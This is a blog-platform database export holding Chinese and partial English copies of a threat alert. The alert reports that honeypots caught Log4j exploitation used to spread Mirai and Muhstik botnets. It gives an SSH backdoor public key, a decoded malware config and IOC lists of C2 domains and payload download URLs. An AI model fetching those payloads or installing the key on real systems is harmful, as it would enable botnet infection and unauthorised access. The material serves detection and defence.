| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 样本分析\n\n### MIRAI\n这一波传播的为miria新变种，相比最初代码，它做了如下变动：\n1. 移除了 table_init/table_lock_val/table_unlock_val 等mirai特有的配置管理函数。\n2. attack_init 函数也被抛弃，ddos攻击函数会被指令处理函数直接调用。\n\n同时，其C2域名选用了一个 uy 顶级域的域名，这在国内也是很少见的。\n\n### Muhstik\n\nMuhstik 这个网络最早被披露于 [2018](__GHOST_URL__/botnet-muhstik-is-actively-exploiting-drupal-cve-2018-7600-in-a-worm-style/) 年，系一个借鉴了Mirai代码的Tsunami变种。在本次捕获的样本中，我们注意到新Muhstik变种增加了一个后门模块ldm，它具有增加SSH后门公钥的能力，其安装的后门公钥为：\n```\nssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQBtGZHLQlMLkrONMAChDVPZf+9gNG5s2rdTMBkOp6P7mKIQ/OkbgiozmZ3syhELI4L0M1TmJiRbbrIta8662z4WAKhXpiU22llfwrkN0m8yKJApd8lDzvvdBw+ShzJr+WaEWX7uW3WCe5NCxGxc6AU7c2vmuLlO0B203pIGVIbV1xJmj6MXrdZpNy7QRo9zStWmgmVY4GR4v26R3XDOn1gshuQ6PgUqgewQ+AlslLVuekdH23sLQfejXyJShcoFI6BbH67YTcoh4G/TuQdGe8lIeAAmp7lzzHMyu+2iSNoFFCeF48JSA2YZvssFOsGuAtV/9uPNQoi9EyvgM2mGDgJ\n```\n\n该公钥被增加到 ~/.ssh/authorized_keys 文件后，攻击者即可无需密码认证直接登陆远程服务器，实现对目标服务器的持续操控。\n\n考虑到 log4j2 的漏洞机理比较特殊，“攻击者只需漫无目的的散播 payload 即会有机器被攻击，有点愿者上钩的意思。所以，攻击者很难直接判断被攻击的机器实际在哪里”，为确保后续可以使用这个后门，攻击者还要建立一个汇报机制，将受控机器的实际位置/用户名汇报到攻击者指定的服务器。Muhstik 通过 TOR 网络完成该汇报任务，这可能会给溯源工作增加一层难度。\n\nMuhstik 在访问 TOR 网络前，会通过一些公开的 DoH服务查询 `relay.l33t-ppl.inf` 的内容。在这个过程中，会产生一些与之相关的 DNS 请求。考虑到这些请求可能为判断失陷主机提供一些帮助。所以这里把相关域名列在下面。注意：这些域名不是CC域名，不是黑域名，而是正常的 DoH 服务。各运维相关读者需要根据自身业务情况酌情处理。\n\n```\ndoh.defaultroutes.de\ndns.hostux.net\ndns.dns-over-https.com\nuncensored.lux1.dns.nixnet.xyz\ndns.rubyfish.cn dns.twnic.tw\ndoh.centraleu.pi-dns.com\ndoh.dns.sb doh-fi.blahdns.com\nfi.doh.dns.snopyta.org\ndns.flatuslifir.is\ndoh.li\ndns.digitale-gesellschaft.ch\n```\n\n当无法直接从 TOR 网络汇报攻陷信息时，Muhstik 还会通过 TOR 的公网映射域名进行提交，相关域名列表如下：\n```\nbvprzqhoz7j2ltin.onion.ws\nbvprzqhoz7j2ltin.onion.ly\nbvprzqhoz7j2ltin.tor2web.s\n```\n\nMuhstik的ELF样本则集成了如下命令：\n\n\n能看到样本支持DDoS和后门指令。样本的C2保存在mirai风格的配置中，明文的配置信息如下：\n```\n [0x02]: \"listening tun0\\x00\", size=15\n [0x03]: \"irc.de-za\"\\x1f\\x90\"listening tun0\\x00\"l\", size=30\n [0x04]: \"\\x1f\\x90\", size=2\n [0x05]: \"log.exposedbotnets.ru\\x00\", size=22\n [0x06]: \"log.exposedbotnets.ru\\x00\", size=22\n [0x07]: \"log.exposedbotnets.ru\\x00\", size=22\n [0x08]: \"log.exposedbotnets.ru\\x00\", size=22\n [0x0a]: \"/proc/\\x00\", size=7\n [0x0c]: \"/exe\\x00\", size=5\n [0x0d]: \"/status\\x00\", size=8\n [0x0e]: \"/fd\\x00\", size=4\n [0x0f]: \"\\x58\\x4D\\x4E\\x4E\\x43\\x50\\x46\\x22\\x00\", size=33\n [0x10]: \"zollard\\x00\", size=8\n [0x11]: \"muhstik-11052018\\x00\", size=17\n [0x12]: \"\\x02^nL\\x0b\\x1a\\x06_nL\\x02\\x0f\\x00\", size=13\n [0x13]: \"eth1\\x00\", size=5\n [0x14]: \"lan0\\x00\", size=5\n [0x15]: \"-\\x00\", size=2\n [0x16]: \"eth0\\x00\", size=5\n [0x17]: \"inet0\\x00\", size=6\n [0x18]: \"lano\\x00\", size=5\n [0x19]: \"log.exposedbotnets.ru\\x00\", size=22\n [0x1a]: \"log.exposedbotnets.ru\\x00\", size=22\n [0x1b]: \"d4cf8e4ab26f7fd15ef7df9f7937493d\\x00\", size=33\n [0x1c]: \"log.exposedbotnets.ru\\x00\", size=22\n [0x1d]: \"37.44.244.124\\x00\", size=14\n [0x1e]: \"37.44.244.124\\x00\", size=14\n [0x1f]: \"37.44.244.124\\x00\", size=14\n [0x20]: \"37.44.244.124\\x00\", size=14\n [0x21]: \"37.44.244.124\\x00\", size=14\n [0x22]: \"log.exposedbotnets.ru\\x00\", size=22\n [0x23]: \"log.exposedbotnets.ru\\x00\", size=22\n```\n\n其中log.exposedbotnets.ru便是C2，它刚好解析到37.44.244.124。作者注册一个log开头的域名也许是故意切合Log4j这个漏洞。\n\n## 结论\n鉴于Log4j的漏洞影响面比较大，我们预计后续会有更多的botnet使用它来传播。对此我们会持续保持关注，有新的观察会第一时间在这里公布。"}],["markdown",{"markdown":"## IOC:\n### Mirai\nC2:\n```\nnazi.uy\n```\n\nURL:\n```\nhttp:[//62.210.130.250/lh.sh\nhttp:[//62.210.130.250:80/web/admin/x86_64\nhttp:[//62.210.130.250:80/web/admin/x86\nhttp:[//62.210.130.250:80/web/admin/x86_g\n```\n\n### Muhstik\nC2:\n```\nlog.exposedbotnets.ru\n```\n\nURL:\n```\nhttp:[//45.130.229.168:9999/Exploit.class\nhttp:[//18.228.7.109/.log/log\nhttp:[//18.228.7.109/.log/pty1;\nhttp:[//18.228.7.109/.log/pty2;\nhttp:[//18.228.7.109/.log/pty3;\nhttp:[//18.228.7.109/.log/pty4;\nhttp:[//18.228.7.109/.log/pty5;\nhttp:[//210.141.105.67:80/wp-content/themes/twentythirteen/m8\nhttp:[//159.89.182.117/wp-content/themes/twentyseventeen/ldm\n```"}]],"markups":[],"sections":[[1,"p",[[0,[],0,"年末曝光的Log4j漏洞无疑可以算是今年的安全界大事了。作为专注于蜜罐和botnet检测跟踪的团队，我们自该漏洞被公开后就一直关注它会被哪些botnet利用。今早我们等来了首批答案，我们的Anglerfish和Apacket蜜罐先后捕获到2波利用Log4j漏洞组建botnet的攻击，快速的样本分析表明它们分别用于组建 Muhstik 和Mirai botnet，针对的都是Linux设备。"]]],[10,0],[10,1],[1,"p",[]],[1,"p",[]]],"ghostVersion":"3.0"} | 61b487d43819e50007636c5a |
post | null | 2021-12-11T13:28:19.000Z | 63873b9a8b1c1e0007f52ffd | xx | 0 | 2021-12-11T13:59:28.000Z | public | draft | null | null | xx | <!--kg-card-begin: markdown--><p>年末曝光的Log4j漏洞无疑可以算是今年的安全界大事了。作为专注于蜜罐和botnet检测跟踪的团队，我们自该漏洞被公开后就一直关注它会被哪些botnet利用。今早我们等来了首批答案，我们的Anglerfish和Apacket蜜罐先后捕获到2波利用Log4j漏洞组建botnet的攻击，快速的样本分析表明它们分别用于组建 Muhstik 和Mirai botnet，针对的都是Linux设备。</p>
<h2 id="">样本分析</h2>
<h3 id="mirai">MIRAI</h3>
<p>这一波传播的为miria新变种，相比最初代码，它做了如下变动：</p>
<ol>
<li>移除了 table_init/table_lock_val/table_unlock_val 等mirai特有的配置管理函数。</li>
<li>attack_init 函数也被抛弃，ddos攻击函数会被指令处理函数直接调用。</li>
</ol>
<p>同时，其C2域名选用了一个 uy 顶级域的域名，这在国内也是很少见的。</p>
<h3 id="muhstik">Muhstik</h3>
<p>Muhstik 这个网络最早被披露于 <a href="__GHOST_URL__/botnet-muhstik-is-actively-exploiting-drupal-cve-2018-7600-in-a-worm-style/">2018</a> 年，系一个借鉴了Mirai代码的Tsunami变种。在本次捕获的样本中，我们注意到新Muhstik变种增加了一个后门模块ldm，它具有增加SSH后门公钥的能力，其安装的后门公钥为：</p>
<pre><code>ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQBtGZHLQlMLkrONMAChDVPZf+9gNG5s2rdTMBkOp6P7mKIQ/OkbgiozmZ3syhELI4L0M1TmJiRbbrIta8662z4WAKhXpiU22llfwrkN0m8yKJApd8lDzvvdBw+ShzJr+WaEWX7uW3WCe5NCxGxc6AU7c2vmuLlO0B203pIGVIbV1xJmj6MXrdZpNy7QRo9zStWmgmVY4GR4v26R3XDOn1gshuQ6PgUqgewQ+AlslLVuekdH23sLQfejXyJShcoFI6BbH67YTcoh4G/TuQdGe8lIeAAmp7lzzHMyu+2iSNoFFCeF48JSA2YZvssFOsGuAtV/9uPNQoi9EyvgM2mGDgJ
</code></pre>
<p>该公钥被增加到 ~/.ssh/authorized_keys 文件后，攻击者即可无需密码认证直接登陆远程服务器，实现对目标服务器的持续操控。</p>
<p>考虑到 log4j2 的漏洞机理比较特殊，“攻击者只需漫无目的的散播 payload 即会有机器被攻击，有点愿者上钩的意思。所以，攻击者很难直接判断被攻击的机器实际在哪里”，为确保后续可以使用这个后门，攻击者还要建立一个汇报机制，将受控机器的实际位置/用户名汇报到攻击者指定的服务器。Muhstik 通过 TOR 网络完成该汇报任务，这可能会给溯源工作增加一层难度。</p>
<p>Muhstik 在访问 TOR 网络前，会通过一些公开的 DoH服务查询 <code>relay.l33t-ppl.inf</code> 的内容。在这个过程中，会产生一些与之相关的 DNS 请求。考虑到这些请求可能为判断失陷主机提供一些帮助。所以这里把相关域名列在下面。注意：这些域名不是CC域名，不是黑域名，而是正常的 DoH 服务。各运维相关读者需要根据自身业务情况酌情处理。</p>
<pre><code>doh.defaultroutes.de
dns.hostux.net
dns.dns-over-https.com
uncensored.lux1.dns.nixnet.xyz
dns.rubyfish.cn dns.twnic.tw
doh.centraleu.pi-dns.com
doh.dns.sb doh-fi.blahdns.com
fi.doh.dns.snopyta.org
dns.flatuslifir.is
doh.li
dns.digitale-gesellschaft.ch
</code></pre>
<p>当无法直接从 TOR 网络汇报攻陷信息时，Muhstik 还会通过 TOR 的公网映射域名进行提交，相关域名列表如下：</p>
<pre><code>bvprzqhoz7j2ltin.onion.ws
bvprzqhoz7j2ltin.onion.ly
bvprzqhoz7j2ltin.tor2web.s
</code></pre>
<p>Muhstik的ELF样本则集成了如下命令：<br>
<img src="__GHOST_URL__/content/images/2021/12/tsunami_command-1-1.png" alt="tsunami_command-1-1" loading="lazy"></p>
<p>能看到样本支持DDoS和后门指令。样本的C2保存在mirai风格的配置中，明文的配置信息如下：</p>
<pre><code> [0x02]: "listening tun0\x00", size=15
[0x03]: "irc.de-za"\x1f\x90"listening tun0\x00"l", size=30
[0x04]: "\x1f\x90", size=2
[0x05]: "log.exposedbotnets.ru\x00", size=22
[0x06]: "log.exposedbotnets.ru\x00", size=22
[0x07]: "log.exposedbotnets.ru\x00", size=22
[0x08]: "log.exposedbotnets.ru\x00", size=22
[0x0a]: "/proc/\x00", size=7
[0x0c]: "/exe\x00", size=5
[0x0d]: "/status\x00", size=8
[0x0e]: "/fd\x00", size=4
[0x0f]: "\x58\x4D\x4E\x4E\x43\x50\x46\x22\x00", size=33
[0x10]: "zollard\x00", size=8
[0x11]: "muhstik-11052018\x00", size=17
[0x12]: "\x02^nL\x0b\x1a\x06_nL\x02\x0f\x00", size=13
[0x13]: "eth1\x00", size=5
[0x14]: "lan0\x00", size=5
[0x15]: "-\x00", size=2
[0x16]: "eth0\x00", size=5
[0x17]: "inet0\x00", size=6
[0x18]: "lano\x00", size=5
[0x19]: "log.exposedbotnets.ru\x00", size=22
[0x1a]: "log.exposedbotnets.ru\x00", size=22
[0x1b]: "d4cf8e4ab26f7fd15ef7df9f7937493d\x00", size=33
[0x1c]: "log.exposedbotnets.ru\x00", size=22
[0x1d]: "37.44.244.124\x00", size=14
[0x1e]: "37.44.244.124\x00", size=14
[0x1f]: "37.44.244.124\x00", size=14
[0x20]: "37.44.244.124\x00", size=14
[0x21]: "37.44.244.124\x00", size=14
[0x22]: "log.exposedbotnets.ru\x00", size=22
[0x23]: "log.exposedbotnets.ru\x00", size=22
</code></pre>
<p>其中log.exposedbotnets.ru便是C2，它刚好解析到37.44.244.124。作者注册一个log开头的域名也许是故意切合Log4j这个漏洞。</p>
<h2 id="">结论</h2>
<p>鉴于Log4j的漏洞影响面比较大，我们预计后续会有更多的botnet使用它来传播。对此我们会持续保持关注，有新的观察会第一时间在这里公布。</p>
<h2 id="ioc">IOC:</h2>
<h3 id="mirai">Mirai</h3>
<p>C2:</p>
<pre><code>nazi.uy
</code></pre>
<p>URL:</p>
<pre><code>http://62.210.130.250/lh.sh
http://62.210.130.250:80/web/admin/x86_64
http://62.210.130.250:80/web/admin/x86
http://62.210.130.250:80/web/admin/x86_g
</code></pre>
<h3 id="muhstik">Muhstik</h3>
<p>C2:</p>
<pre><code>log.exposedbotnets.ru
</code></pre>
<p>URL:</p>
<pre><code>http://45.130.229.168:9999/Exploit.class
http://18.228.7.109/.log/log
http://18.228.7.109/.log/pty1;
http://18.228.7.109/.log/pty2;
http://18.228.7.109/.log/pty3;
http://18.228.7.109/.log/pty4;
http://18.228.7.109/.log/pty5;
http://210.141.105.67:80/wp-content/themes/twentythirteen/m8
http://159.89.182.117/wp-content/themes/twentyseventeen/ldm
</code></pre>
<!--kg-card-end: markdown--> | 年末曝光的Log4j漏洞无疑可以算是今年的安全界大事了。作为专注于蜜罐和botnet检测跟踪的团队，我们自该漏洞被公开后就一直关注它会被哪些botnet利用。今早我们等来了首批答案，我们的Anglerfish和Apacket蜜罐先后捕获到2波利用Log4j漏洞组建botnet的攻击，快速的样本分析表明它们分别用于组建 Muhstik 和Mirai botnet，针对的都是Linux设备。
样本分析
MIRAI
这一波传播的为miria新变种，相比最初代码，它做了如下变动：
1. 移除了 table_init/table_lock_val/table_unlock_val 等mirai特有的配置管理函数。
2. attack_init 函数也被抛弃，ddos攻击函数会被指令处理函数直接调用。
同时，其C2域名选用了一个 uy 顶级域的域名，这在国内也是很少见的。
Muhstik
Muhstik 这个网络最早被披露于 2018 年，系一个借鉴了Mirai代码的Tsunami变种。在本次捕获的样本中，我们注意到新Muhstik变种增加了一个后门模块ldm，它具有增加SSH后门公钥的能力，其安装的后门公钥为：
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQBtGZHLQlMLkrONMAChDVPZf+9gNG5s2rdTMBkOp6P7mKIQ/OkbgiozmZ3syhELI4L0M1TmJiRbbrIta8662z4WAKhXpiU22llfwrkN0m8yKJApd8lDzvvdBw+ShzJr+WaEWX7uW3WCe5NCxGxc6AU7c2vmuLlO0B203pIGVIbV1xJmj6MXrdZpNy7QRo9zStWmgmVY4GR4v26R3XDOn1gshuQ6PgUqgewQ+AlslLVuekdH23sLQfejXyJShcoFI6BbH67YTcoh4G/TuQdGe8lIeAAmp7lzzHMyu+2iSNoFFCeF48JSA2YZvssFOsGuAtV/9uPNQoi9EyvgM2mGDgJ
该公钥被增加到 ~/.ssh/authorized_keys 文件后，攻击者即可无需密码认证直接登陆远程服务器，实现对目标服务器的持续操控。
考虑到 log4j2 的漏洞机理比较特殊，“攻击者只需漫无目的的散播 payload 即会有机器被攻击，有点愿者上钩的意思。所以，攻击者很难直接判断被攻击的机器实际在哪里”，为确保后续可以使用这个后门，攻击者还要建立一个汇报机制，将受控机器的实际位置/用户名汇报到攻击者指定的服务器。Muhstik 通过 TOR 网络完成该汇报任务，这可能会给溯源工作增加一层难度。
Muhstik 在访问 TOR 网络前，会通过一些公开的 DoH服务查询 relay.l33t-ppl.inf 的内容。在这个过程中，会产生一些与之相关的 DNS 请求。考虑到这些请求可能为判断失陷主机提供一些帮助。所以这里把相关域名列在下面。注意：这些域名不是CC域名，不是黑域名，而是正常的 DoH 服务。各运维相关读者需要根据自身业务情况酌情处理。
doh.defaultroutes.de
dns.hostux.net
dns.dns-over-https.com
uncensored.lux1.dns.nixnet.xyz
dns.rubyfish.cn dns.twnic.tw
doh.centraleu.pi-dns.com
doh.dns.sb doh-fi.blahdns.com
fi.doh.dns.snopyta.org
dns.flatuslifir.is
doh.li
dns.digitale-gesellschaft.ch
当无法直接从 TOR 网络汇报攻陷信息时，Muhstik 还会通过 TOR 的公网映射域名进行提交，相关域名列表如下：
bvprzqhoz7j2ltin.onion.ws
bvprzqhoz7j2ltin.onion.ly
bvprzqhoz7j2ltin.tor2web.s
Muhstik的ELF样本则集成了如下命令：
能看到样本支持DDoS和后门指令。样本的C2保存在mirai风格的配置中，明文的配置信息如下：
[0x02]: "listening tun0\x00", size=15
[0x03]: "irc.de-za"\x1f\x90"listening tun0\x00"l", size=30
[0x04]: "\x1f\x90", size=2
[0x05]: "log.exposedbotnets.ru\x00", size=22
[0x06]: "log.exposedbotnets.ru\x00", size=22
[0x07]: "log.exposedbotnets.ru\x00", size=22
[0x08]: "log.exposedbotnets.ru\x00", size=22
[0x0a]: "/proc/\x00", size=7
[0x0c]: "/exe\x00", size=5
[0x0d]: "/status\x00", size=8
[0x0e]: "/fd\x00", size=4
[0x0f]: "\x58\x4D\x4E\x4E\x43\x50\x46\x22\x00", size=33
[0x10]: "zollard\x00", size=8
[0x11]: "muhstik-11052018\x00", size=17
[0x12]: "\x02^nL\x0b\x1a\x06_nL\x02\x0f\x00", size=13
[0x13]: "eth1\x00", size=5
[0x14]: "lan0\x00", size=5
[0x15]: "-\x00", size=2
[0x16]: "eth0\x00", size=5
[0x17]: "inet0\x00", size=6
[0x18]: "lano\x00", size=5
[0x19]: "log.exposedbotnets.ru\x00", size=22
[0x1a]: "log.exposedbotnets.ru\x00", size=22
[0x1b]: "d4cf8e4ab26f7fd15ef7df9f7937493d\x00", size=33
[0x1c]: "log.exposedbotnets.ru\x00", size=22
[0x1d]: "37.44.244.124\x00", size=14
[0x1e]: "37.44.244.124\x00", size=14
[0x1f]: "37.44.244.124\x00", size=14
[0x20]: "37.44.244.124\x00", size=14
[0x21]: "37.44.244.124\x00", size=14
[0x22]: "log.exposedbotnets.ru\x00", size=22
[0x23]: "log.exposedbotnets.ru\x00", size=22
其中log.exposedbotnets.ru便是C2，它刚好解析到37.44.244.124。作者注册一个log开头的域名也许是故意切合Log4j这个漏洞。
结论
鉴于Log4j的漏洞影响面比较大，我们预计后续会有更多的botnet使用它来传播。对此我们会持续保持关注，有新的观察会第一时间在这里公布。
IOC:
Mirai
C2:
nazi.uy
URL:
http://62.210.130.250/lh.sh
http://62.210.130.250:80/web/admin/x86_64
http://62.210.130.250:80/web/admin/x86
http://62.210.130.250:80/web/admin/x86_g
Muhstik
C2:
log.exposedbotnets.ru
URL:
http://45.130.229.168:9999/Exploit.class
http://18.228.7.109/.log/log
http://18.228.7.109/.log/pty1;
http://18.228.7.109/.log/pty2;
http://18.228.7.109/.log/pty3;
http://18.228.7.109/.log/pty4;
http://18.228.7.109/.log/pty5;
http://210.141.105.67:80/wp-content/themes/twentythirteen/m8
http://159.89.182.117/wp-content/themes/twentyseventeen/ldm
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"年末曝光的Log4j漏洞无疑可以算是今年的安全界大事了。作为专注于蜜罐和botnet检测跟踪的团队，我们自该漏洞被公开后就一直关注它会被哪些botnet利用。今早我们等来了首批答案，我们的Anglerfish和Apacket蜜罐先后捕获到2波利用Log4j漏洞组建botnet的攻击，快速的样本分析表明它们分别用于组建 Muhstik 和Mirai botnet，针对的都是Linux设备。\n\n## 样本分析\n\n### MIRAI\n这一波传播的为miria新变种，相比最初代码，它做了如下变动：\n1. 移除了 table_init/table_lock_val/table_unlock_val 等mirai特有的配置管理函数。\n2. attack_init 函数也被抛弃，ddos攻击函数会被指令处理函数直接调用。\n\n同时，其C2域名选用了一个 uy 顶级域的域名，这在国内也是很少见的。\n\n### Muhstik\n\nMuhstik 这个网络最早被披露于 [2018](__GHOST_URL__/botnet-muhstik-is-actively-exploiting-drupal-cve-2018-7600-in-a-worm-style/) 年，系一个借鉴了Mirai代码的Tsunami变种。在本次捕获的样本中，我们注意到新Muhstik变种增加了一个后门模块ldm，它具有增加SSH后门公钥的能力，其安装的后门公钥为：\n```\nssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQBtGZHLQlMLkrONMAChDVPZf+9gNG5s2rdTMBkOp6P7mKIQ/OkbgiozmZ3syhELI4L0M1TmJiRbbrIta8662z4WAKhXpiU22llfwrkN0m8yKJApd8lDzvvdBw+ShzJr+WaEWX7uW3WCe5NCxGxc6AU7c2vmuLlO0B203pIGVIbV1xJmj6MXrdZpNy7QRo9zStWmgmVY4GR4v26R3XDOn1gshuQ6PgUqgewQ+AlslLVuekdH23sLQfejXyJShcoFI6BbH67YTcoh4G/TuQdGe8lIeAAmp7lzzHMyu+2iSNoFFCeF48JSA2YZvssFOsGuAtV/9uPNQoi9EyvgM2mGDgJ\n```\n\n该公钥被增加到 ~/.ssh/authorized_keys 文件后，攻击者即可无需密码认证直接登陆远程服务器，实现对目标服务器的持续操控。\n\n考虑到 log4j2 的漏洞机理比较特殊，“攻击者只需漫无目的的散播 payload 即会有机器被攻击，有点愿者上钩的意思。所以，攻击者很难直接判断被攻击的机器实际在哪里”，为确保后续可以使用这个后门，攻击者还要建立一个汇报机制，将受控机器的实际位置/用户名汇报到攻击者指定的服务器。Muhstik 通过 TOR 网络完成该汇报任务，这可能会给溯源工作增加一层难度。\n\nMuhstik 在访问 TOR 网络前，会通过一些公开的 DoH服务查询 `relay.l33t-ppl.inf` 的内容。在这个过程中，会产生一些与之相关的 DNS 请求。考虑到这些请求可能为判断失陷主机提供一些帮助。所以这里把相关域名列在下面。注意：这些域名不是CC域名，不是黑域名，而是正常的 DoH 服务。各运维相关读者需要根据自身业务情况酌情处理。\n\n```\ndoh.defaultroutes.de\ndns.hostux.net\ndns.dns-over-https.com\nuncensored.lux1.dns.nixnet.xyz\ndns.rubyfish.cn dns.twnic.tw\ndoh.centraleu.pi-dns.com\ndoh.dns.sb doh-fi.blahdns.com\nfi.doh.dns.snopyta.org\ndns.flatuslifir.is\ndoh.li\ndns.digitale-gesellschaft.ch\n```\n\n当无法直接从 TOR 网络汇报攻陷信息时，Muhstik 还会通过 TOR 的公网映射域名进行提交，相关域名列表如下：\n```\nbvprzqhoz7j2ltin.onion.ws\nbvprzqhoz7j2ltin.onion.ly\nbvprzqhoz7j2ltin.tor2web.s\n```\n\nMuhstik的ELF样本则集成了如下命令：\n\n\n能看到样本支持DDoS和后门指令。样本的C2保存在mirai风格的配置中，明文的配置信息如下：\n```\n [0x02]: \"listening tun0\\x00\", size=15\n [0x03]: \"irc.de-za\"\\x1f\\x90\"listening tun0\\x00\"l\", size=30\n [0x04]: \"\\x1f\\x90\", size=2\n [0x05]: \"log.exposedbotnets.ru\\x00\", size=22\n [0x06]: \"log.exposedbotnets.ru\\x00\", size=22\n [0x07]: \"log.exposedbotnets.ru\\x00\", size=22\n [0x08]: \"log.exposedbotnets.ru\\x00\", size=22\n [0x0a]: \"/proc/\\x00\", size=7\n [0x0c]: \"/exe\\x00\", size=5\n [0x0d]: \"/status\\x00\", size=8\n [0x0e]: \"/fd\\x00\", size=4\n [0x0f]: \"\\x58\\x4D\\x4E\\x4E\\x43\\x50\\x46\\x22\\x00\", size=33\n [0x10]: \"zollard\\x00\", size=8\n [0x11]: \"muhstik-11052018\\x00\", size=17\n [0x12]: \"\\x02^nL\\x0b\\x1a\\x06_nL\\x02\\x0f\\x00\", size=13\n [0x13]: \"eth1\\x00\", size=5\n [0x14]: \"lan0\\x00\", size=5\n [0x15]: \"-\\x00\", size=2\n [0x16]: \"eth0\\x00\", size=5\n [0x17]: \"inet0\\x00\", size=6\n [0x18]: \"lano\\x00\", size=5\n [0x19]: \"log.exposedbotnets.ru\\x00\", size=22\n [0x1a]: \"log.exposedbotnets.ru\\x00\", size=22\n [0x1b]: \"d4cf8e4ab26f7fd15ef7df9f7937493d\\x00\", size=33\n [0x1c]: \"log.exposedbotnets.ru\\x00\", size=22\n [0x1d]: \"37.44.244.124\\x00\", size=14\n [0x1e]: \"37.44.244.124\\x00\", size=14\n [0x1f]: \"37.44.244.124\\x00\", size=14\n [0x20]: \"37.44.244.124\\x00\", size=14\n [0x21]: \"37.44.244.124\\x00\", size=14\n [0x22]: \"log.exposedbotnets.ru\\x00\", size=22\n [0x23]: \"log.exposedbotnets.ru\\x00\", size=22\n```\n\n其中log.exposedbotnets.ru便是C2，它刚好解析到37.44.244.124。作者注册一个log开头的域名也许是故意切合Log4j这个漏洞。\n\n## 结论\n鉴于Log4j的漏洞影响面比较大，我们预计后续会有更多的botnet使用它来传播。对此我们会持续保持关注，有新的观察会第一时间在这里公布。\n\n## IOC:\n### Mirai\nC2:\n```\nnazi.uy\n```\n\nURL:\n```\nhttp://62.210.130.250/lh.sh\nhttp://62.210.130.250:80/web/admin/x86_64\nhttp://62.210.130.250:80/web/admin/x86\nhttp://62.210.130.250:80/web/admin/x86_g\n```\n\n### Muhstik\nC2:\n```\nlog.exposedbotnets.ru\n```\n\nURL:\n```\nhttp://45.130.229.168:9999/Exploit.class\nhttp://18.228.7.109/.log/log\nhttp://18.228.7.109/.log/pty1;\nhttp://18.228.7.109/.log/pty2;\nhttp://18.228.7.109/.log/pty3;\nhttp://18.228.7.109/.log/pty4;\nhttp://18.228.7.109/.log/pty5;\nhttp://210.141.105.67:80/wp-content/themes/twentythirteen/m8\nhttp://159.89.182.117/wp-content/themes/twentyseventeen/ldm\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 61b4a7733819e50007636da4 |
post | null | 2021-12-11T14:14:42.000Z | 63873b9a8b1c1e0007f52ffe | threat-alert-log4j-vulnerability-has-been-adopted-by-two-linux-botnets | 0 | 2022-04-19T02:49:33.000Z | public | published | null | 2021-12-11T14:28:41.000Z | Threat Alert: Log4j Vulnerability Has Been adopted by two Linux Botnets | <!--kg-card-begin: markdown--><p>The Log4j vulnerability that came to light at the end of the year can undoubtedly be considered a major event in the security community. Honeypot and botnet are our bread and butter, and we have been concerned about which botnets would be exploiting this since the vulnerability was made public. This morning we got the first answers, our Anglerfish and Apacket honeypots have caught 2 waves of attacks using the Log4j vulnerability to form botnets, and a quick sample analysis showed that they were used to form Muhstik and Mirai botnets respectively, both targeting Linux devices.</p>
<h2 id="sampleanalysis">Sample Analysis</h2>
<h3 id="mirai">MIRAI</h3>
<p>This wave propagates a new variant of miria, which has made the following changes compared to the initial code.</p>
<ol>
<li>
<p>table_init/table_lock_val/table_unlock_val and other mirai-specific configuration management functions have been removed.</p>
</li>
<li>
<p>The attack_init function is also discarded, and the ddos attack function is called directly by the command processing function.</p>
</li>
</ol>
<p>Also, a uy top-level domain is chosen for its C2 domain name, which is also rare.</p>
<h3 id="muhstik">Muhstik</h3>
<p>Muhstik, a botnet we disclosed in <a href="(https://blog.netlab.360.com/botnet-muhstik-is-actively-exploiting-drupal-cve-2018-7600-in-a-worm-style/)">2018</a>, is a variant of Tsunami that borrows from the Mirai code. In this captured sample, we note that the new Muhstik variant adds a backdoor module, ldm, which has the ability to add an SSH backdoor public key with the following installed backdoor public key.</p>
<pre><code>ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQBtGZHLQlMLkrONMAChDVPZf+9gNG5s2rdTMBkOp6P7mKIQ/OkbgiozmZ3syhELI4L0M1TmJiRbbrIta8662z4WAKhXpiU22llfwrkN0m8yKJApd8lDzvvdBw+ShzJr+WaEWX7uW3WCe5NCxGxc6AU7c2vmuLlO0B203pIGVIbV1xJmj6MXrdZpNy7QRo9zStWmgmVY4GR4v26R3XDOn1gshuQ6PgUqgewQ+AlslLVuekdH23sLQfejXyJShcoFI6BbH67YTcoh4G/TuQdGe8lIeAAmp7lzzHMyu+2iSNoFFCeF48JSA2YZvssFOsGuAtV/9uPNQoi9EyvgM2mGDgJ
</code></pre>
<p>After the public key is added to the ~/.ssh/authorized_keys file, the attacker can directly log into the remote server without password authentication.</p>
<p>Considering the special vulnerability mechanism of log4j2, Muhstik takes a blunt approach to spread the payload aimlessly knowing that there will be vulnerable machines, and in order to know who has been infected, Muhstik adopts TOR network for its reporting mechanism.</p>
<p>Before accessing the TOR network, Muhstik queries relay.l33t-ppl.inf through some publicly available DoH services(see the list beflow). During this process, a number of DNS requests are generated. Note: The following domains are not C2 domains but DoH service providers, depends on the situation, readers might be able to use the list to crosscheck their network for possible infections if they are not expect DoH usage on their network.</p>
<pre><code>doh.defaultroutes.de
dns.hostux.net
dns.dns-over-https.com
uncensored.lux1.dns.nixnet.xyz
dns.rubyfish.cn dns.twnic.tw
doh.centraleu.pi-dns.com
doh.dns.sb doh-fi.blahdns.com
fi.doh.dns.snopyta.org
dns.flatuslifir.is
doh.li
dns.digitale-gesellschaft.ch
</code></pre>
<p>When it is not possible to report infect information directly from the TOR network, Muhstik will try to use TOR's public mapped domains, the list of relevant domains is as follows</p>
<pre><code>bvprzqhoz7j2ltin.onion.ws
bvprzqhoz7j2ltin.onion.ly
bvprzqhoz7j2ltin.tor2web.s
</code></pre>
<p>Muhstik's ELF sample has the following codes.：<br>
<img src="__GHOST_URL__/content/images/2021/12/tsunami_command-1-1.png" alt="tsunami_command-1-1" loading="lazy"></p>
<p>We can see that the sample supports DDoS and backdoor commands. The C2 of the sample is stored in a mirai-style configuration with the following configuration information in plain text.：</p>
<pre><code> [0x02]: "listening tun0\x00", size=15
[0x03]: "irc.de-za"\x1f\x90"listening tun0\x00"l", size=30
[0x04]: "\x1f\x90", size=2
[0x05]: "log.exposedbotnets.ru\x00", size=22
[0x06]: "log.exposedbotnets.ru\x00", size=22
[0x07]: "log.exposedbotnets.ru\x00", size=22
